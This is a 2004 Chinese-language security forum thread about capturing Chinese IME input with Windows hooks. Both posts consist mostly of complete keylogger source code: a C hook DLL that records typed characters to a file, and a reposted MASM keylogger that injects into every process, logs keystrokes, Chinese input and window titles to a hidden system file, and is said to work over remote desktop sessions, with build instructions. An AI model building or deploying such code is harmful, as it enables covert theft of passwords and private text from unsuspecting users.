标题:关于HOOK截获中文输入 发信站:安全焦点(2004年12月10日13时58分49秒) 以前一直没有注意到一个问题,就是用键盘钩子截获字符输入时是截不到特殊字符的,比方说中文输入法之类的. 后来用到了消息钩子去HOOK WM_IME_CHAR,这时候大部分已经能够获取了,但是对于其他一些程序,比方说 WORD之类的也就不能截获了.后来到MSDN上查到, 要用到WM_IME_COMPOSITION消息,并且在处理该消息 时要用到IMM的一些库函数从输入法数据区中获取.比方说ImmGetContext,ImmGetCompositionString等等. 以下是源代码:
//HOOK IME TO GET CHINESE INPUT CHAR //MAKE BY ZWELL //2004.12.9 //THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK //ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^ #include "windows.h" #include "imm.h" #include "stdio.h"
#define HOOK_API __declspec(dllexport)
HHOOK g_hHook = NULL; //hook句柄 HINSTANCE g_hHinstance = NULL; //程序句柄
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam) { LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam); PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char ch; char lpstr[20]; if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); if (!hIMC) { MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK); }
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件... MessageBox(NULL, lpstr, lpstr, MB_OK); ImmReleaseContext(hWnd, hIMC); } } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 { FILE* f1; f1=fopen("c://report.txt","a+"); ch=(char)(pmsg->wParam); fwrite(&ch,1,1,f1); fclose(f1); } break; } }
return(lResult); }
HOOK_API BOOL InstallHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0); return TRUE; }
HOOK_API BOOL UnHook() { return UnhookWindowsHookEx(g_hHook); }
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hHinstance=hModule; break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: UnHook(); break; } return TRUE; }
///////////////////////////////////////// hool.def模块: ///////////////////////////////////////// LIBRARY HOOK
EXPORTS InstallHook UnHook
其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息, 一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子. 希望对大家有用. ^_^ -- Welcome to my blog: http://www.donews.net/zwell/ 发帖者:Met3or 讨论区:编程讨论推荐区 标题:Re: 关于HOOK截获中文输入 发信站:安全焦点(2004年12月11日2时20分47秒) 很久没去绿盟,那天去看到czy写的这个 ctrl+C过来
键盘记录支持中文,3389 czy 04.11.28
挂接WH_CALLWNDPROC(WM_IME_COMPOSITION),WH_GETMESSAGE(WM_CHAR和WM_KEYUP),前者记录中文,后者记特殊按键和字母符号. 中文在极品五笔和智能ABC中测试通过,另系统测试在2k,xp,2003下测试通过,同时包括 2kserver的3389中.(CMD中不能成功记录) 记录文件在c:/keylog2.txt中.防止有些人那去害人.调试窗口没有去掉嘿嘿. 用法:运行a.exe后key.dll就会进入每一个进程并进行记录.
编绎参数: ml /c /coff a.asm rc hook.rc link /subsystem:windows a.obj hook.res ml /c /coff key.asm link /SECTION:.bss,S /DLL /DEF:key.def /SUBSYSTEM:windows /LIBPATH:C:/MASM32/BIN key.obj
rc文件 -------------------hook.rc----------------- //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> #include <resource.h> //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> #define ICO_MAIN 1000 #define DLG_MAIN 1000 #define IDC_TEXT 1001 //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ICO_MAIN ICON "Main.ico" //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> DLG_MAIN DIALOG 208, 130, 234, 167 STYLE DS_MODALFRAME | WS_POPUP | WS_VISIBLE | WS_CAPTION | WS_SYSMENU CAPTION "键盘钩子" FONT 9, "宋体" { EDITTEXT IDC_TEXT, 5, 5, 224, 158, ES_MULTILINE | ES_AUTOVSCROLL | WS_BORDER | WS_VSCROLL | WS_TABSTOP | ES_READONLY } //>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -------------------end---------------------
包含文件key.inc ------------key.inc------------- UninstallHook PROTO InstallHook PROTO ------------end----------------- def文件key.def ------------key.def-------------- LIBRARY key.dll
EXPORTS InstallHook UninstallHook ---------------end----------------
---------------------a.exe--------------------------- .386 .model flat, stdcall option casemap :none ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Include 文件定义 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> include ../include/user32.inc includelib ../lib/user32.lib include ../include/kernel32.inc includelib ../lib/kernel32.lib include ../include/windows.inc include key.inc includelib key.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; Equ 等值定义 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ICO_MAIN equ 1000 DLG_MAIN equ 1000 IDC_TEXT equ 1001 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 数据段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .data?
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 代码段 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> _ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
mov eax,wMsg ;******************************************************************** .if eax == WM_CLOSE invoke UninstallHook invoke EndDialog,hWnd,NULL ;******************************************************************** .elseif eax == WM_INITDIALOG invoke InstallHook
;******************************************************************** .else mov eax,FALSE ret .endif mov eax,TRUE ret
_ProcDlgMain endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> start: invoke GetModuleHandle,NULL invoke DialogBoxParam,eax,DLG_MAIN,NULL,offset _ProcDlgMain,NULL invoke ExitProcess,NULL ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> end start
---------------------end-----------------------------
---------------------key.dll-------------------------- .386 .model flat,stdcall option casemap:none include /masm32/include/windows.inc include /masm32/include/user32.inc include /masm32/include/kernel32.inc includelib /masm32/lib/user32.lib includelib /masm32/lib/kernel32.lib includelib ../lib/imm32.lib include ../include/imm32.inc
IDC_TEXT equ 1001 .data hInstance dd 0 maintitle db '键盘钩子',0
LogKeyFile2 db 'c:/keylog2.txt',0 keylogformat db 0dh,0ah,'--==%s==--',0dh,0ah,0 ;------vk------------- insert db '[Insert]',0 delete db '[Del]',0 home db '[Home]',0 kend db '[End]',0 pgdown db '[PgDn]',0 pgup db '[PgUp]',0
down db '[↓]',0 up db '[↑]',0 left db '[←]',0 right db '[→]',0
back db '[<=]',0 ctrl db '[ctrl]',0 tab db '[Tab]',0 alt db '[Alt]',0 ;键盘码是VK_MENU shift db '[Shift]',0 kesc db '[Esc]',0 space db ' ',0 printscreen db '[PrtSc]',0 capslock db '[Caps Lock]',0 kreturn db 0dh,0ah,0
.data? forcushwnd DD ? fhwnd dd ?
hHook dd ? hHook2 dd ? cchar db 20 dup(?) cchar2 db 20 dup(?)
keylogbuffer db 1024 dup(?) ;定义1kb的键盘记录缓冲
hlogKeyFile dd ?
hactivewindow dd ? svTitle db 256 dup(?) ;当前窗口标题 szkeylogtitlebuffer db 270 dup (?)
.code DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD .if reason==DLL_PROCESS_ATTACH ;dll加载时 push hInstDLL pop hInstance .endif mov eax,TRUE ret DllEntry Endp
_KeyLog proc keyaddr:dword invoke FindWindow,NULL,offset maintitle invoke SendDlgItemMessage,eax,IDC_TEXT,EM_REPLACESEL,0,keyaddr
invoke GetActiveWindow .if eax!=hactivewindow mov hactivewindow,eax invoke GetWindowText,hactivewindow,offset svTitle,256 invoke wsprintf,offset szkeylogtitlebuffer,offset keylogformat,offset svTitle invoke lstrcat,offset keylogbuffer,offset szkeylogtitlebuffer .endif invoke lstrlen,offset keylogbuffer .if eax<10 invoke lstrcat,offset keylogbuffer,keyaddr .else invoke CreateFile,offset LogKeyFile2,GENERIC_WRITE,FILE_SHARE_READ,/ NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL mov hlogKeyFile,eax invoke SetFilePointer,hlogKeyFile,0,NULL,FILE_END invoke SetEndOfFile,hlogKeyFile ;文件指针放到文件尾 invoke lstrlen,offset keylogbuffer invoke _lwrite,hlogKeyFile,offset keylogbuffer,eax invoke CloseHandle,hlogKeyFile invoke RtlZeroMemory,offset keylogbuffer,1024 invoke lstrcat,offset keylogbuffer,keyaddr .endif
ret _KeyLog endp
HookProc proc _dwCode,_wParam,_lParam invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam pushad .if _dwCode == HC_ACTION mov ebx,_lParam assume ebx:ptr CWPSTRUCT ;.if [ebx].message == WM_IME_CHAR ;mov dx,word ptr [ebx].wParam ;xchg dl,dh ;mov ebx,offset cchar ;mov word ptr [ebx],dx ;invoke MessageBoxA,0,addr cchar,addr cchar,1 ;invoke _KeyLog,addr cchar .if [ebx].message == WM_IME_COMPOSITION invoke GetFocus mov forcushwnd,eax invoke ImmGetContext,forcushwnd mov fhwnd,eax invoke ImmGetCompositionString,fhwnd,GCS_RESULTSTR,NULL,0 add eax,sizeof WCHAR invoke ImmGetCompositionString,fhwnd,GCS_RESULTSTR,offset cchar,eax ;invoke MessageBoxA,0,offset cchar,offset cchar,1 invoke lstrcmp,addr cchar,addr cchar2 .if eax invoke _KeyLog,addr cchar .endif invoke lstrcpy,addr cchar2,addr cchar invoke RtlZeroMemory,offset cchar,20 invoke ImmReleaseContext,forcushwnd,fhwnd .endif assume ebx:nothing .endif popad xor eax,eax ret HookProc endp
HookProc2 proc _dwCode,_wParam,_lParam invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam pushad .if _dwCode == HC_ACTION mov ebx,_lParam assume ebx:ptr MSG .if [ebx].message == WM_KEYUP mov edx,[ebx].wParam .if dl<30h .if dl==VK_SPACE ; invoke _KeyLog,addr space jmp @@ex
.elseif dl==VK_RETURN ; invoke _KeyLog,addr kreturn jmp @@ex .elseif dl==VK_PGDN ;down invoke _KeyLog,addr pgdown jmp @@ex .elseif dl==VK_PGUP ;UP invoke _KeyLog,addr pgup jmp @@ex .elseif dl==VK_CAPITAL invoke _KeyLog,addr capslock jmp @@ex .elseif dl==VK_HOME invoke _KeyLog,addr home jmp @@ex .elseif dl==VK_END invoke _KeyLog,addr kend jmp @@ex .elseif dl==VK_DELETE invoke _KeyLog,addr delete jmp @@ex .elseif dl==VK_INSERT invoke _KeyLog,addr insert jmp @@ex .elseif dl==VK_DOWN invoke _KeyLog,addr down jmp @@ex .elseif dl==VK_UP invoke _KeyLog,addr up jmp @@ex .elseif dl==VK_LEFT invoke _KeyLog,addr left jmp @@ex .elseif dl==VK_RIGHT invoke _KeyLog,addr right jmp @@ex .elseif dl==VK_CONTROL ; invoke _KeyLog,addr ctrl jmp @@ex .elseif dl==VK_TAB invoke _KeyLog,addr tab jmp @@ex .elseif dl==VK_ESCAPE invoke _KeyLog,addr kesc jmp @@ex .elseif dl==VK_SNAPSHOT invoke _KeyLog,addr printscreen jmp @@ex .elseif dl==VK_MENU invoke _KeyLog,addr alt jmp @@ex .endif .endif .elseif [ebx].message == WM_CHAR invoke IsDBCSLeadByte,[ebx].wParam .if !eax .if _wParam & PM_REMOVE mov dx,word ptr [ebx].wParam .if dl==VK_BACK invoke _KeyLog,addr back .elseif dl==VK_RETURN invoke _KeyLog,addr kreturn .elseif dl==VK_SPACE invoke _KeyLog,addr space .else mov ebx,offset cchar mov word ptr [ebx],dx ;invoke MessageBoxA,0,addr cchar,addr cchar,1 invoke _KeyLog,addr cchar .endif .endif .endif .endif @@ex: assume ebx:nothing .endif popad xor eax,eax ret HookProc2 endp
InstallHook proc
invoke SetWindowsHookEx,WH_CALLWNDPROC,addr HookProc,hInstance,NULL mov hHook2,eax invoke SetWindowsHookEx,WH_GETMESSAGE,addr HookProc2,hInstance,NULL mov hHook,eax ret InstallHook endp
UninstallHook proc invoke UnhookWindowsHookEx,hHook invoke UnhookWindowsHookEx,hHook2 ret UninstallHook endp
End DllEntry -----------------------------------------------end--------------------------- -- mail & MSN:[email protected] |